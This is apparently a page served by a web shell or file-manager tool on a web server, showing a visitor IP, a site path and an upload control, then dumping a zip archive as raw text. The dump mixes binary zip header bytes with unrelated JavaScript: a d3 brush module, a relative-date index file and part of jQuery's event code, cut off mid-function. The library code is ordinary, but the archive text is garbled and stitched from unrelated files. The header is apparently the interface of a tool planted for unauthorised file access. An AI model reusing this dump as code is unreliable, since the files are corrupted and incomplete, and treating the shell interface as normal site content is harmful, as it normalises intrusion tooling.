Your IP : 216.73.216.86


Current Path : /home/emeraadmin/www/4d695/
Upload File :
Current File : /home/emeraadmin/www/4d695/src.zip

PK+x�\}9S���
noevent.jsnu�[���import {event} from "d3-selection";

export function nopropagation() {
  event.stopImmediatePropagation();
}

export default function() {
  event.preventDefault();
  event.stopImmediatePropagation();
}
PK+x�\�R4)MMconstant.jsnu�[���export default function(x) {
  return function() {
    return x;
  };
}
PK+x�\�C�
�?�?brush.jsnu�[���import {dispatch} from "d3-dispatch";
import {dragDisable, dragEnable} from "d3-drag";
import {interpolate} from "d3-interpolate";
import {customEvent, event, mouse, select} from "d3-selection";
import {interrupt} from "d3-transition";
import constant from "./constant";
import BrushEvent from "./event";
import noevent, {nopropagation} from "./noevent";

var MODE_DRAG = {name: "drag"},
    MODE_SPACE = {name: "space"},
    MODE_HANDLE = {name: "handle"},
    MODE_CENTER = {name: "center"};

var X = {
  name: "x",
  handles: ["e", "w"].map(type),
  input: function(x, e) { return x && [[x[0], e[0][1]], [x[1], e[1][1]]]; },
  output: function(xy) { return xy && [xy[0][0], xy[1][0]]; }
};

var Y = {
  name: "y",
  handles: ["n", "s"].map(type),
  input: function(y, e) { return y && [[e[0][0], y[0]], [e[1][0], y[1]]]; },
  output: function(xy) { return xy && [xy[0][1], xy[1][1]]; }
};

var XY = {
  name: "xy",
  handles: ["n", "e", "s", "w", "nw", "ne", "se", "sw"].map(type),
  input: function(xy) { return xy; },
  output: function(xy) { return xy; }
};

var cursors = {
  overlay: "crosshair",
  selection: "move",
  n: "ns-resize",
  e: "ew-resize",
  s: "ns-resize",
  w: "ew-resize",
  nw: "nwse-resize",
  ne: "nesw-resize",
  se: "nwse-resize",
  sw: "nesw-resize"
};

var flipX = {
  e: "w",
  w: "e",
  nw: "ne",
  ne: "nw",
  se: "sw",
  sw: "se"
};

var flipY = {
  n: "s",
  s: "n",
  nw: "sw",
  ne: "se",
  se: "ne",
  sw: "nw"
};

var signsX = {
  overlay: +1,
  selection: +1,
  n: null,
  e: +1,
  s: null,
  w: -1,
  nw: -1,
  ne: +1,
  se: +1,
  sw: -1
};

var signsY = {
  overlay: +1,
  selection: +1,
  n: -1,
  e: null,
  s: +1,
  w: null,
  nw: -1,
  ne: -1,
  se: +1,
  sw: +1
};

function type(t) {
  return {type: t};
}

// Ignore right-click, since that should open the context menu.
function defaultFilter() {
  return !event.button;
}

function defaultExtent() {
  var svg = this.ownerSVGElement || this;
  return [[0, 0], [svg.width.baseVal.value, svg.height.baseVal.value]];
}

// Like d3.local, but with the name “__brush” rather than auto-generated.
function local(node) {
  while (!node.__brush) if (!(node = node.parentNode)) return;
  return node.__brush;
}

function empty(extent) {
  return extent[0][0] === extent[1][0]
      || extent[0][1] === extent[1][1];
}

export function brushSelection(node) {
  var state = node.__brush;
  return state ? state.dim.output(state.selection) : null;
}

export function brushX() {
  return brush(X);
}

export function brushY() {
  return brush(Y);
}

export default function() {
  return brush(XY);
}

function brush(dim) {
  var extent = defaultExtent,
      filter = defaultFilter,
      listeners = dispatch(brush, "start", "brush", "end"),
      handleSize = 6,
      touchending;

  function brush(group) {
    var overlay = group
        .property("__brush", initialize)
      .selectAll(".overlay")
      .data([type("overlay")]);

    overlay.enter().append("rect")
        .attr("class", "overlay")
        .attr("pointer-events", "all")
        .attr("cursor", cursors.overlay)
      .merge(overlay)
        .each(function() {
          var extent = local(this).extent;
          select(this)
              .attr("x", extent[0][0])
              .attr("y", extent[0][1])
              .attr("width", extent[1][0] - extent[0][0])
              .attr("height", extent[1][1] - extent[0][1]);
        });

    group.selectAll(".selection")
      .data([type("selection")])
      .enter().append("rect")
        .attr("class", "selection")
        .attr("cursor", cursors.selection)
        .attr("fill", "#777")
        .attr("fill-opacity", 0.3)
        .attr("stroke", "#fff")
        .attr("shape-rendering", "crispEdges");

    var handle = group.selectAll(".handle")
      .data(dim.handles, function(d) { return d.type; });

    handle.exit().remove();

    handle.enter().append("rect")
        .attr("class", function(d) { return "handle handle--" + d.type; })
        .attr("cursor", function(d) { return cursors[d.type]; });

    group
        .each(redraw)
        .attr("fill", "none")
        .attr("pointer-events", "all")
        .style("-webkit-tap-highlight-color", "rgba(0,0,0,0)")
        .on("mousedown.brush touchstart.brush", started);
  }

  brush.move = function(group, selection) {
    if (group.selection) {
      group
          .on("start.brush", function() { emitter(this, arguments).beforestart().start(); })
          .on("interrupt.brush end.brush", function() { emitter(this, arguments).end(); })
          .tween("brush", function() {
            var that = this,
                state = that.__brush,
                emit = emitter(that, arguments),
                selection0 = state.selection,
                selection1 = dim.input(typeof selection === "function" ? selection.apply(this, arguments) : selection, state.extent),
                i = interpolate(selection0, selection1);

            function tween(t) {
              state.selection = t === 1 && empty(selection1) ? null : i(t);
              redraw.call(that);
              emit.brush();
            }

            return selection0 && selection1 ? tween : tween(1);
          });
    } else {
      group
          .each(function() {
            var that = this,
                args = arguments,
                state = that.__brush,
                selection1 = dim.input(typeof selection === "function" ? selection.apply(that, args) : selection, state.extent),
                emit = emitter(that, args).beforestart();

            interrupt(that);
            state.selection = selection1 == null || empty(selection1) ? null : selection1;
            redraw.call(that);
            emit.start().brush().end();
          });
    }
  };

  function redraw() {
    var group = select(this),
        selection = local(this).selection;

    if (selection) {
      group.selectAll(".selection")
          .style("display", null)
          .attr("x", selection[0][0])
          .attr("y", selection[0][1])
          .attr("width", selection[1][0] - selection[0][0])
          .attr("height", selection[1][1] - selection[0][1]);

      group.selectAll(".handle")
          .style("display", null)
          .attr("x", function(d) { return d.type[d.type.length - 1] === "e" ? selection[1][0] - handleSize / 2 : selection[0][0] - handleSize / 2; })
          .attr("y", function(d) { return d.type[0] === "s" ? selection[1][1] - handleSize / 2 : selection[0][1] - handleSize / 2; })
          .attr("width", function(d) { return d.type === "n" || d.type === "s" ? selection[1][0] - selection[0][0] + handleSize : handleSize; })
          .attr("height", function(d) { return d.type === "e" || d.type === "w" ? selection[1][1] - selection[0][1] + handleSize : handleSize; });
    }

    else {
      group.selectAll(".selection,.handle")
          .style("display", "none")
          .attr("x", null)
          .attr("y", null)
          .attr("width", null)
          .attr("height", null);
    }
  }

  function emitter(that, args) {
    return that.__brush.emitter || new Emitter(that, args);
  }

  function Emitter(that, args) {
    this.that = that;
    this.args = args;
    this.state = that.__brush;
    this.active = 0;
  }

  Emitter.prototype = {
    beforestart: function() {
      if (++this.active === 1) this.state.emitter = this, this.starting = true;
      return this;
    },
    start: function() {
      if (this.starting) this.starting = false, this.emit("start");
      return this;
    },
    brush: function() {
      this.emit("brush");
      return this;
    },
    end: function() {
      if (--this.active === 0) delete this.state.emitter, this.emit("end");
      return this;
    },
    emit: function(type) {
      customEvent(new BrushEvent(brush, type, dim.output(this.state.selection)), listeners.apply, listeners, [type, this.that, this.args]);
    }
  };

  function started() {
    if (event.touches) { if (event.changedTouches.length < event.touches.length) return noevent(); }
    else if (touchending) return;
    if (!filter.apply(this, arguments)) return;

    var that = this,
        type = event.target.__data__.type,
        mode = (event.metaKey ? type = "overlay" : type) === "selection" ? MODE_DRAG : (event.altKey ? MODE_CENTER : MODE_HANDLE),
        signX = dim === Y ? null : signsX[type],
        signY = dim === X ? null : signsY[type],
        state = local(that),
        extent = state.extent,
        selection = state.selection,
        W = extent[0][0], w0, w1,
        N = extent[0][1], n0, n1,
        E = extent[1][0], e0, e1,
        S = extent[1][1], s0, s1,
        dx,
        dy,
        moving,
        shifting = signX && signY && event.shiftKey,
        lockX,
        lockY,
        point0 = mouse(that),
        point = point0,
        emit = emitter(that, arguments).beforestart();

    if (type === "overlay") {
      state.selection = selection = [
        [w0 = dim === Y ? W : point0[0], n0 = dim === X ? N : point0[1]],
        [e0 = dim === Y ? E : w0, s0 = dim === X ? S : n0]
      ];
    } else {
      w0 = selection[0][0];
      n0 = selection[0][1];
      e0 = selection[1][0];
      s0 = selection[1][1];
    }

    w1 = w0;
    n1 = n0;
    e1 = e0;
    s1 = s0;

    var group = select(that)
        .attr("pointer-events", "none");

    var overlay = group.selectAll(".overlay")
        .attr("cursor", cursors[type]);

    if (event.touches) {
      group
          .on("touchmove.brush", moved, true)
          .on("touchend.brush touchcancel.brush", ended, true);
    } else {
      var view = select(event.view)
          .on("keydown.brush", keydowned, true)
          .on("keyup.brush", keyupped, true)
          .on("mousemove.brush", moved, true)
          .on("mouseup.brush", ended, true);

      dragDisable(event.view);
    }

    nopropagation();
    interrupt(that);
    redraw.call(that);
    emit.start();

    function moved() {
      var point1 = mouse(that);
      if (shifting && !lockX && !lockY) {
        if (Math.abs(point1[0] - point[0]) > Math.abs(point1[1] - point[1])) lockY = true;
        else lockX = true;
      }
      point = point1;
      moving = true;
      noevent();
      move();
    }

    function move() {
      var t;

      dx = point[0] - point0[0];
      dy = point[1] - point0[1];

      switch (mode) {
        case MODE_SPACE:
        case MODE_DRAG: {
          if (signX) dx = Math.max(W - w0, Math.min(E - e0, dx)), w1 = w0 + dx, e1 = e0 + dx;
          if (signY) dy = Math.max(N - n0, Math.min(S - s0, dy)), n1 = n0 + dy, s1 = s0 + dy;
          break;
        }
        case MODE_HANDLE: {
          if (signX < 0) dx = Math.max(W - w0, Math.min(E - w0, dx)), w1 = w0 + dx, e1 = e0;
          else if (signX > 0) dx = Math.max(W - e0, Math.min(E - e0, dx)), w1 = w0, e1 = e0 + dx;
          if (signY < 0) dy = Math.max(N - n0, Math.min(S - n0, dy)), n1 = n0 + dy, s1 = s0;
          else if (signY > 0) dy = Math.max(N - s0, Math.min(S - s0, dy)), n1 = n0, s1 = s0 + dy;
          break;
        }
        case MODE_CENTER: {
          if (signX) w1 = Math.max(W, Math.min(E, w0 - dx * signX)), e1 = Math.max(W, Math.min(E, e0 + dx * signX));
          if (signY) n1 = Math.max(N, Math.min(S, n0 - dy * signY)), s1 = Math.max(N, Math.min(S, s0 + dy * signY));
          break;
        }
      }

      if (e1 < w1) {
        signX *= -1;
        t = w0, w0 = e0, e0 = t;
        t = w1, w1 = e1, e1 = t;
        if (type in flipX) overlay.attr("cursor", cursors[type = flipX[type]]);
      }

      if (s1 < n1) {
        signY *= -1;
        t = n0, n0 = s0, s0 = t;
        t = n1, n1 = s1, s1 = t;
        if (type in flipY) overlay.attr("cursor", cursors[type = flipY[type]]);
      }

      if (state.selection) selection = state.selection; // May be set by brush.move!
      if (lockX) w1 = selection[0][0], e1 = selection[1][0];
      if (lockY) n1 = selection[0][1], s1 = selection[1][1];

      if (selection[0][0] !== w1
          || selection[0][1] !== n1
          || selection[1][0] !== e1
          || selection[1][1] !== s1) {
        state.selection = [[w1, n1], [e1, s1]];
        redraw.call(that);
        emit.brush();
      }
    }

    function ended() {
      nopropagation();
      if (event.touches) {
        if (event.touches.length) return;
        if (touchending) clearTimeout(touchending);
        touchending = setTimeout(function() { touchending = null; }, 500); // Ghost clicks are delayed!
        group.on("touchmove.brush touchend.brush touchcancel.brush", null);
      } else {
        dragEnable(event.view, moving);
        view.on("keydown.brush keyup.brush mousemove.brush mouseup.brush", null);
      }
      group.attr("pointer-events", "all");
      overlay.attr("cursor", cursors.overlay);
      if (state.selection) selection = state.selection; // May be set by brush.move (on start)!
      if (empty(selection)) state.selection = null, redraw.call(that);
      emit.end();
    }

    function keydowned() {
      switch (event.keyCode) {
        case 16: { // SHIFT
          shifting = signX && signY;
          break;
        }
        case 18: { // ALT
          if (mode === MODE_HANDLE) {
            if (signX) e0 = e1 - dx * signX, w0 = w1 + dx * signX;
            if (signY) s0 = s1 - dy * signY, n0 = n1 + dy * signY;
            mode = MODE_CENTER;
            move();
          }
          break;
        }
        case 32: { // SPACE; takes priority over ALT
          if (mode === MODE_HANDLE || mode === MODE_CENTER) {
            if (signX < 0) e0 = e1 - dx; else if (signX > 0) w0 = w1 - dx;
            if (signY < 0) s0 = s1 - dy; else if (signY > 0) n0 = n1 - dy;
            mode = MODE_SPACE;
            overlay.attr("cursor", cursors.selection);
            move();
          }
          break;
        }
        default: return;
      }
      noevent();
    }

    function keyupped() {
      switch (event.keyCode) {
        case 16: { // SHIFT
          if (shifting) {
            lockX = lockY = shifting = false;
            move();
          }
          break;
        }
        case 18: { // ALT
          if (mode === MODE_CENTER) {
            if (signX < 0) e0 = e1; else if (signX > 0) w0 = w1;
            if (signY < 0) s0 = s1; else if (signY > 0) n0 = n1;
            mode = MODE_HANDLE;
            move();
          }
          break;
        }
        case 32: { // SPACE
          if (mode === MODE_SPACE) {
            if (event.altKey) {
              if (signX) e0 = e1 - dx * signX, w0 = w1 + dx * signX;
              if (signY) s0 = s1 - dy * signY, n0 = n1 + dy * signY;
              mode = MODE_CENTER;
            } else {
              if (signX < 0) e0 = e1; else if (signX > 0) w0 = w1;
              if (signY < 0) s0 = s1; else if (signY > 0) n0 = n1;
              mode = MODE_HANDLE;
            }
            overlay.attr("cursor", cursors[type]);
            move();
          }
          break;
        }
        default: return;
      }
      noevent();
    }
  }

  function initialize() {
    var state = this.__brush || {selection: null};
    state.extent = extent.apply(this, arguments);
    state.dim = dim;
    return state;
  }

  brush.extent = function(_) {
    return arguments.length ? (extent = typeof _ === "function" ? _ : constant([[+_[0][0], +_[0][1]], [+_[1][0], +_[1][1]]]), brush) : extent;
  };

  brush.filter = function(_) {
    return arguments.length ? (filter = typeof _ === "function" ? _ : constant(!!_), brush) : filter;
  };

  brush.handleSize = function(_) {
    return arguments.length ? (handleSize = +_, brush) : handleSize;
  };

  brush.on = function() {
    var value = listeners.on.apply(listeners, arguments);
    return value === listeners ? brush : value;
  };

  return brush;
}
PK+x�\�	Ԑ�index.jsnu�[���import relativeDateFactory from './factory'
import enTranslations from '../translations/en'

export default relativeDateFactory(enTranslations)
PK+x�\���F�N�Nevent.jsnu�[���define( [
	"./core",
	"./var/document",
	"./var/documentElement",
	"./var/isFunction",
	"./var/rnothtmlwhite",
	"./var/slice",
	"./data/var/dataPriv",
	"./core/nodeName",

	"./core/init",
	"./selector"
], function( jQuery, document, documentElement, isFunction, rnothtmlwhite,
	slice, dataPriv, nodeName ) {

"use strict";

var
	rkeyEvent = /^key/,
	rmouseEvent = /^(?:mouse|pointer|contextmenu|drag|drop)|click/,
	rtypenamespace = /^([^.]*)(?:\.(.+)|)/;

function returnTrue() {
	return true;
}

function returnFalse() {
	return false;
}

// Support: IE <=9 only
// See #13393 for more info
function safeActiveElement() {
	try {
		return document.activeElement;
	} catch ( err ) { }
}

function on( elem, types, selector, data, fn, one ) {
	var origFn, type;

	// Types can be a map of types/handlers
	if ( typeof types === "object" ) {

		// ( types-Object, selector, data )
		if ( typeof selector !== "string" ) {

			// ( types-Object, data )
			data = data || selector;
			selector = undefined;
		}
		for ( type in types ) {
			on( elem, type, selector, data, types[ type ], one );
		}
		return elem;
	}

	if ( data == null && fn == null ) {

		// ( types, fn )
		fn = selector;
		data = selector = undefined;
	} else if ( fn == null ) {
		if ( typeof selector === "string" ) {

			// ( types, selector, fn )
			fn = data;
			data = undefined;
		} else {

			// ( types, data, fn )
			fn = data;
			data = selector;
			selector = undefined;
		}
	}
	if ( fn === false ) {
		fn = returnFalse;
	} else if ( !fn ) {
		return elem;
	}

	if ( one === 1 ) {
		origFn = fn;
		fn = function( event ) {

			// Can use an empty set, since event contains the info
			jQuery().off( event );
			return origFn.apply( this, arguments );
		};

		// Use same guid so caller can remove using origFn
		fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
	}
	return elem.each( function() {
		jQuery.event.add( this, types, fn, data, selector );
	} );
}

/*
 * Helper functions for managing events -- not part of the public interface.
 * Props to Dean Edwards' addEvent library for many of the ideas.
 */
jQuery.event = {

	global: {},

	add: function( elem, types, handler, data, selector ) {

		var handleObjIn, eventHandle, tmp,
			events, t, handleObj,
			special, handlers, type, namespaces, origType,
			elemData = dataPriv.get( elem );

		// Don't attach events to noData or text/comment nodes (but allow plain objects)
		if ( !elemData ) {
			return;
		}

		// Caller can pass in an object of custom data in lieu of the handler
		if ( handler.handler ) {
			handleObjIn = handler;
			handler = handleObjIn.handler;
			selector = handleObjIn.selector;
		}

		// Ensure that invalid selectors throw exceptions at attach time
		// Evaluate against documentElement in case elem is a non-element node (e.g., document)
		if ( selector ) {
			jQuery.find.matchesSelector( documentElement, selector );
		}

		// Make sure that the handler has a unique ID, used to find/remove it later
		if ( !handler.guid ) {
			handler.guid = jQuery.guid++;
		}

		// Init the element's event structure and main handler, if this is the first
		if ( !( events = elemData.events ) ) {
			events = elemData.events = {};
		}
		if ( !( eventHandle = elemData.handle ) ) {
			eventHandle = elemData.handle = function( e ) {

				// Discard the second event of a jQuery.event.trigger() and
				// when an event is called after a page has unloaded
				return typeof jQuery !== "undefined" && jQuery.event.triggered !== e.type ?
					jQuery.event.dispatch.apply( elem, arguments ) : undefined;
			};
		}

		// Handle multiple events separated by a space
		types = ( types || "" ).match( rnothtmlwhite ) || [ "" ];
		t = types.length;
		while ( t-- ) {
			tmp = rtypenamespace.exec( types[ t ] ) || [];
			type = origType = tmp[ 1 ];
			namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();

			// There *must* be a type, no attaching namespace-only handlers
			if ( !type ) {
				continue;
			}

			// If event changes its type, use the special event handlers for the changed type
			special = jQuery.event.special[ type ] || {};

			// If selector defined, determine special event api type, otherwise given type
			type = ( selector ? special.delegateType : special.bindType ) || type;

			// Update special based on newly reset type
			special = jQuery.event.special[ type ] || {};

			// handleObj is passed to all event handlers
			handleObj = jQuery.extend( {
				type: type,
				origType: origType,
				data: data,
				handler: handler,
				guid: handler.guid,
				selector: selector,
				needsContext: selector && jQuery.expr.match.needsContext.test( selector ),
				namespace: namespaces.join( "." )
			}, handleObjIn );

			// Init the event handler queue if we're the first
			if ( !( handlers = events[ type ] ) ) {
				handlers = events[ type ] = [];
				handlers.delegateCount = 0;

				// Only use addEventListener if the special events handler returns false
				if ( !special.setup ||
					special.setup.call( elem, data, namespaces, eventHandle ) === false ) {

					if ( elem.addEventListener ) {
						elem.addEventListener( type, eventHandle );
					}
				}
			}

			if ( special.add ) {
				special.add.call( elem, handleObj );

				if ( !handleObj.handler.guid ) {
					handleObj.handler.guid = handler.guid;
				}
			}

			// Add to the element's handler list, delegates in front
			if ( selector ) {
				handlers.splice( handlers.delegateCount++, 0, handleObj );
			} else {
				handlers.push( handleObj );
			}

			// Keep track of which events have ever been used, for event optimization
			jQuery.event.global[ type ] = true;
		}

	},

	// Detach an event or set of events from an element
	remove: function( elem, types, handler, selector, mappedTypes ) {

		var j, origCount, tmp,
			events, t, handleObj,
			special, handlers, type, namespaces, origType,
			elemData = dataPriv.hasData( elem ) && dataPriv.get( elem );

		if ( !elemData || !( events = elemData.events ) ) {
			return;
		}

		// Once for each type.namespace in types; type may be omitted
		types = ( types || "" ).match( rnothtmlwhite ) || [ "" ];
		t = types.length;
		while ( t-- ) {
			tmp = rtypenamespace.exec( types[ t ] ) || [];
			type = origType = tmp[ 1 ];
			namespaces = ( tmp[ 2 ] || "" ).split( "." ).sort();

			// Unbind all events (on this namespace, if provided) for the element
			if ( !type ) {
				for ( type in events ) {
					jQuery.event.remove( elem, type + types[ t ], handler, selector, true );
				}
				continue;
			}

			special = jQuery.event.special[ type ] || {};
			type = ( selector ? special.delegateType : special.bindType ) || type;
			handlers = events[ type ] || [];
			tmp = tmp[ 2 ] &&
				new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" );

			// Remove matching events
			origCount = j = handlers.length;
			while ( j-- ) {
				handleObj = handlers[ j ];

				if ( ( mappedTypes || origType === handleObj.origType ) &&
					( !handler || handler.guid === handleObj.guid ) &&
					( !tmp || tmp.test( handleObj.namespace ) ) &&
					( !selector || selector === handleObj.selector ||
						selector === "**" && handleObj.selector ) ) {
					handlers.splice( j, 1 );

					if ( handleObj.selector ) {
						handlers.delegateCount--;
					}
					if ( special.remove ) {
						special.remove.call( elem, handleObj );
					}
				}
			}

			// Remove generic event handler if we removed something and no more handlers exist
			// (avoids potential for endless recursion during removal of special event handlers)
			if ( origCount && !handlers.length ) {
				if ( !special.teardown ||
					special.teardown.call( elem, namespaces, elemData.handle ) === false ) {

					jQuery.removeEvent( elem, type, elemData.handle );
				}

				delete events[ type ];
			}
		}

		// Remove data and the expando if it's no longer used
		if ( jQuery.isEmptyObject( events ) ) {
			dataPriv.remove( elem, "handle events" );
		}
	},

	dispatch: function( nativeEvent ) {

		// Make a writable jQuery.Event from the native event object
		var event = jQuery.event.fix( nativeEvent );

		var i, j, ret, matched, handleObj, handlerQueue,
			args = new Array( arguments.length ),
			handlers = ( dataPriv.get( this, "events" ) || {} )[ event.type ] || [],
			special = jQuery.event.special[ event.type ] || {};

		// Use the fix-ed jQuery.Event rather than the (read-only) native event
		args[ 0 ] = event;

		for ( i = 1; i < arguments.length; i++ ) {
			args[ i ] = arguments[ i ];
		}

		event.delegateTarget = this;

		// Call the preDispatch hook for the mapped type, and let it bail if desired
		if ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {
			return;
		}

		// Determine handlers
		handlerQueue = jQuery.event.handlers.call( this, event, handlers );

		// Run delegates first; they may want to stop propagation beneath us
		i = 0;
		while ( ( matched = handlerQueue[ i++ ] ) && !event.isPropagationStopped() ) {
			event.currentTarget = matched.elem;

			j = 0;
			while ( ( handleObj = matched.handlers[ j++ ] ) &&
				!event.isImmediatePropagationStopped() ) {

				// Triggered event must either 1) have no namespace, or 2) have namespace(s)
				// a subset or equal to those in the bound event (both can have no namespace).
				if ( !event.rnamespace || event.rnamespace.test( handleObj.namespace ) ) {

					event.handleObj = handleObj;
					event.data = handleObj.data;

					ret = ( ( jQuery.event.special[ handleObj.origType ] || {} ).handle ||
						handleObj.handler ).apply( matched.elem, args );

					if ( ret !== undefined ) {
						if ( ( event.result = ret ) === false ) {
							event.preventDefault();
							event.stopPropagation();
						}
					}
				}
			}
		}

		// Call the postDispatch hook for the mapped type
		if ( special.postDispatch ) {
			special.postDispatch.call( this, event );
		}

		return event.result;
	},

	handlers: function( event, handlers ) {
		var i, handleObj, sel, matchedHandlers, matchedSelectors,
			handlerQueue = [],
			delegateCount = handlers.delegateCount,
			cur = event.target;

		// Find delegate handlers
		if ( delegateCount &&

			// Support: IE <=9
			// Black-hole SVG <use> instance trees (trac-13180)
			cur.nodeType &&

			// Support: Firefox <=42
			// Suppress spec-violating clicks indicating a non-primary pointer button (trac-3861)
			// https://www.w3.org/TR/DOM-Level-3-Events/#event-type-click
			// Support: IE 11 only
			// ...but not arrow key "clicks" of radio inputs, which can have `button` -1 (gh-2343)
			!( event.type === "click" && event.button >= 1 ) ) {

			for ( ; cur !== this; cur = cur.parentNode || this ) {

				// Don't check non-elements (#13208)
				// Don't process clicks on disabled elements (#6911, #8165, #11382, #11764)
				if ( cur.nodeType === 1 && !( event.type === "click" && cur.disabled === true ) ) {
					matchedHandlers = [];
					matchedSelectors = {};
					for ( i = 0; i < delegateCount; i++ ) {
						handleObj = handlers[ i ];

						// Don't conflict with Object.prototype properties (#13203)
						sel = handleObj.selector + " ";

						if ( matchedSelectors[ sel ] === undefined ) {
							matchedSelectors[ sel ] = handleObj.needsContext ?
								jQuery( sel, this ).index( cur ) > -1 :
								jQuery.find( sel, this, null, [ cur ] ).length;
						}
						if ( matchedSelectors[ sel ] ) {
							matchedHandlers.push( handleObj );
						}
					}
					if ( matchedHandlers.length ) {
						handlerQueue.push( { elem: cur, handlers: matchedHandlers } );
					}
				}
			}
		}

		// Add the remaining (directly-bound) handlers
		cur = this;
		if ( delegateCount < handlers.length ) {
			handlerQueue.push( { elem: cur, handlers: handlers.slice( delegateCount ) } );
		}

		return handlerQueue;
	},

	addProp: function( name, hook ) {
		Object.defineProperty( jQuery.Event.prototype, name, {
			enumerable: true,
			configurable: true,

			get: isFunction( hook ) ?
				function() {
					if ( this.originalEvent ) {
							return hook( this.originalEvent );
					}
				} :
				function() {
					if ( this.originalEvent ) {
							return this.originalEvent[ name ];
					}
				},

			set: function( value ) {
				Object.defineProperty( this, name, {
					enumerable: true,
					configurable: true,
					writable: true,
					value: value
				} );
			}
		} );
	},

	fix: function( originalEvent ) {
		return originalEvent[ jQuery.expando ] ?
			originalEvent :
			new jQuery.Event( originalEvent );
	},

	special: {
		load: {

			// Prevent triggered image.load events from bubbling to window.load
			noBubble: true
		},
		focus: {

			// Fire native event if possible so blur/focus sequence is correct
			trigger: function() {
				if ( this !== safeActiveElement() && this.focus ) {
					this.focus();
					return false;
				}
			},
			delegateType: "focusin"
		},
		blur: {
			trigger: function() {
				if ( this === safeActiveElement() && this.blur ) {
					this.blur();
					return false;
				}
			},
			delegateType: "focusout"
		},
		click: {

			// For checkbox, fire native event so checked state will be right
			trigger: function() {
				if ( this.type === "checkbox" && this.click && nodeName( this, "input" ) ) {
					this.click();
					return false;
				}
			},

			// For cross-browser consistency, don't fire native .click() on links
			_default: function( event ) {
				return nodeName( event.target, "a" );
			}
		},

		beforeunload: {
			postDispatch: function( event ) {

				// Support: Firefox 20+
				// Firefox doesn't alert if the returnValue field is not set.
				if ( event.result !== undefined && event.originalEvent ) {
					event.originalEvent.returnValue = event.result;
				}
			}
		}
	}
};

jQuery.removeEvent = function( elem, type, handle ) {

	// This "if" is needed for plain objects
	if ( elem.removeEventListener ) {
		elem.removeEventListener( type, handle );
	}
};

jQuery.Event = function( src, props ) {

	// Allow instantiation without the 'new' keyword
	if ( !( this instanceof jQuery.Event ) ) {
		return new jQuery.Event( src, props );
	}

	// Event object
	if ( src && src.type ) {
		this.originalEvent = src;
		this.type = src.type;

		// Events bubbling up the document may have been marked as prevented
		// by a handler lower down the tree; reflect the correct value.
		this.isDefaultPrevented = src.defaultPrevented ||
				src.defaultPrevented === undefined &&

				// Support: Android <=2.3 only
				src.returnValue === false ?
			returnTrue :
			returnFalse;

		// Create target properties
		// Support: Safari <=6 - 7 only
		// Target should not be a text node (#504, #13143)
		this.target = ( src.target && src.target.nodeType === 3 ) ?
			src.target.parentNode :
			src.target;

		this.currentTarget = src.currentTarget;
		this.relatedTarget = src.relatedTarget;

	// Event type
	} else {
		this.type = src;
	}

	// Put explicitly provided properties onto the event object
	if ( props ) {
		jQuery.extend( this, props );
	}

	// Create a timestamp if incoming event doesn't have one
	this.timeStamp = src && src.timeStamp || Date.now();

	// Mark it as fixed
	this[ jQuery.expando ] = true;
};

// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding
// https://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html
jQuery.Event.prototype = {
	constructor: jQuery.Event,
	isDefaultPrevented: returnFalse,
	isPropagationStopped: returnFalse,
	isImmediatePropagationStopped: returnFalse,
	isSimulated: false,

	preventDefault: function() {
		var e = this.originalEvent;

		this.isDefaultPrevented = returnTrue;

		if ( e && !this.isSimulated ) {
			e.preventDefault();
		}
	},
	stopPropagation: function() {
		var e = this.originalEvent;

		this.isPropagationStopped = returnTrue;

		if ( e && !this.isSimulated ) {
			e.stopPropagation();
		}
	},
	stopImmediatePropagation: function() {
		var e = this.originalEvent;

		this.isImmediatePropagationStopped = returnTrue;

		if ( e && !this.isSimulated ) {
			e.stopImmediatePropagation();
		}

		this.stopPropagation();
	}
};

// Includes all common event props including KeyEvent and MouseEvent specific props
jQuery.each( {
	altKey: true,
	bubbles: true,
	cancelable: true,
	changedTouches: true,
	ctrlKey: true,
	detail: true,
	eventPhase: true,
	metaKey: true,
	pageX: true,
	pageY: true,
	shiftKey: true,
	view: true,
	"char": true,
	charCode: true,
	key: true,
	keyCode: true,
	button: true,
	buttons: true,
	clientX: true,
	clientY: true,
	offsetX: true,
	offsetY: true,
	pointerId: true,
	pointerType: true,
	screenX: true,
	screenY: true,
	targetTouches: true,
	toElement: true,
	touches: true,

	which: function( event ) {
		var button = event.button;

		// Add which for key events
		if ( event.which == null && rkeyEvent.test( event.type ) ) {
			return event.charCode != null ? event.charCode : event.keyCode;
		}

		// Add which for click: 1 === left; 2 === middle; 3 === right
		if ( !event.which && button !== undefined && rmouseEvent.test( event.type ) ) {
			if ( button & 1 ) {
				return 1;
			}

			if ( button & 2 ) {
				return 3;
			}

			if ( button & 4 ) {
				return 2;
			}

			return 0;
		}

		return event.which;
	}
}, jQuery.event.addProp );

// Create mouseenter/leave events using mouseover/out and event-time checks
// so that event delegation works in jQuery.
// Do the same for pointerenter/pointerleave and pointerover/pointerout
//
// Support: Safari 7 only
// Safari sends mouseenter too often; see:
// https://bugs.chromium.org/p/chromium/issues/detail?id=470258
// for the description of the bug (it existed in older Chrome versions as well).
jQuery.each( {
	mouseenter: "mouseover",
	mouseleave: "mouseout",
	pointerenter: "pointerover",
	pointerleave: "pointerout"
}, function( orig, fix ) {
	jQuery.event.special[ orig ] = {
		delegateType: fix,
		bindType: fix,

		handle: function( event ) {
			var ret,
				target = this,
				related = event.relatedTarget,
				handleObj = event.handleObj;

			// For mouseenter/leave call the handler if related is outside the target.
			// NB: No relatedTarget if the mouse left/entered the browser window
			if ( !related || ( related !== target && !jQuery.contains( target, related ) ) ) {
				event.type = handleObj.origType;
				ret = handleObj.handler.apply( this, arguments );
				event.type = fix;
			}
			return ret;
		}
	};
} );

jQuery.fn.extend( {

	on: function( types, selector, data, fn ) {
		return on( this, types, selector, data, fn );
	},
	one: function( types, selector, data, fn ) {
		return on( this, types, selector, data, fn, 1 );
	},
	off: function( types, selector, fn ) {
		var handleObj, type;
		if ( types && types.preventDefault && types.handleObj ) {

			// ( event )  dispatched jQuery.Event
			handleObj = types.handleObj;
			jQuery( types.delegateTarget ).off(
				handleObj.namespace ?
					handleObj.origType + "." + handleObj.namespace :
					handleObj.origType,
				handleObj.selector,
				handleObj.handler
			);
			return this;
		}
		if ( typeof types === "object" ) {

			// ( types-object [, selector] )
			for ( type in types ) {
				this.off( type, selector, types[ type ] );
			}
			return this;
		}
